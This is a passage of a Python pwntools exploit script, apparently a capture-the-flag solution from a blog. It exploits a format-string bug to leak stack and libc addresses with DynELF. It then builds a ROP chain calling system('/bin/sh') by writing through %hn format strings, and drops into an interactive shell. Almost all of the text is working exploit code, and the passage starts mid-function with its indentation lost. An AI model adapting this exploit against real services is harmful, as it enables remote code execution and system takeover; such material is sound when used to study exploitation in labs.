Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
leak_data = sh.recvuntil('<<>>').strip('<<>>')
while True:
if not len(leak_data) < 8:
break
leak_data = leak_data + '\x00'
write_stack(leak_addr + len(leak_data), offset_to_rbp)
Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
show(0, '<<>>')
new_data = sh.recvuntil('<<>>').strip('<<>>')
leak_data = leak_data + new_data
leak_data = leak_data[:8]
log.success("[%s] -> [%s] = [%s]" %
(hex(leak_addr), leak_data.encode("hex"), repr(leak_data)))
# gdb.attach(sh, 'b *0x0400B1B')
return leak_data
# get stack addr
Add(100, '<<>>%12$p')
show(0, '<<>>')
rbp_addr = int(sh.recvuntil('\n').strip()[2:], 16)
low_bit = int(hex(rbp_addr)[-4:], 16)
log.success('get rbp addr: ' + hex(rbp_addr))
# dynelf
dynelf = DynELF(leak, elf=elf)
system_addr = dynelf.lookup('system', 'libc')
log.success('get system addr: ' + hex(system_addr))
# make ROP : pop_rdi -> binsh -> system
# write system addr in rbp + (3 * 8)
write_stack(system_addr, 3)
# write binsh addr in rbp + (2 * 8)
binsh = int('/bin/sh'[::-1].encode('hex'), 16)
write_stack(binsh, 8)
binsh_addr = rbp_addr + (8 * 8)
write_stack(binsh_addr, 2)
# check if succuss
Edit(0, '<<>>%15$p<<>>%16$p<<>>%17$p<<>>')
show(0, '<<>>')
ret_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_binsh_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_system_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
assert changed_binsh_addr == binsh_addr
assert changed_system_addr == system_addr
log.success('binsh and system is ready')
log.success('ret addr: ' + hex(ret_addr))
# write pop_rdi addr low bits in rbp + (1 * 8)
# change low bits
assert abs(ret_addr - pop_rdi_addr) < 0xffff
fmt_1 = '%' + str(low_bit + (1 * 8)) + 'x%12$hn<<>>'
fmt_2 = '%' + str(pop_rdi_addr & 0xffff) + 'x%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write pop_rdi addr success')
sh.interactive()
博客地址:http://hackerwing.com/